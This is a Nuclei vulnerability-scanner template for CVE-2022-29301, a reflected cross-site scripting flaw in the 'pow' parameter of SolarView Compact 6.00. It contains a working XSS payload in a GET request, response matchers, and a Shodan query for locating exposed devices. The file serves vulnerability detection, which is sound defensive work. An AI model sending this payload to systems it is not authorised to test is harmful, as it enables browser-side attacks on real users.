nuclei-templates/http/cves/2022/CVE-2022-29301.yaml

46 lines
1.6 KiB
YAML

id: CVE-2022-29301
info:
name: SolarView Compact 6.00 - 'pow' Cross-Site Scripting
author: For3stCo1d
severity: high
description: |
SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'pow' parameter to Solar_SlideSub.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest patch or upgrade to a non-vulnerable version of SolarView Compact.
reference:
- https://www.exploit-db.com/exploits/50968
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29301
classification:
cve-id: CVE-2022-29301
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-244067125
tags: cve,cve2022,xss,solarview,edb
http:
- method: GET
path:
- '{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script><"">'
- 'SolarView'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100b3edaaf8c05a14a8acd2a99b1a0abd57b7fb71b2faec9f2d0c8b8975a3e8c43202202c62d25ef277632bf6a301f91deec2e506f3be4785176df586a46977e4dcd0c3:922c64590222798bb761d5b6d8e72950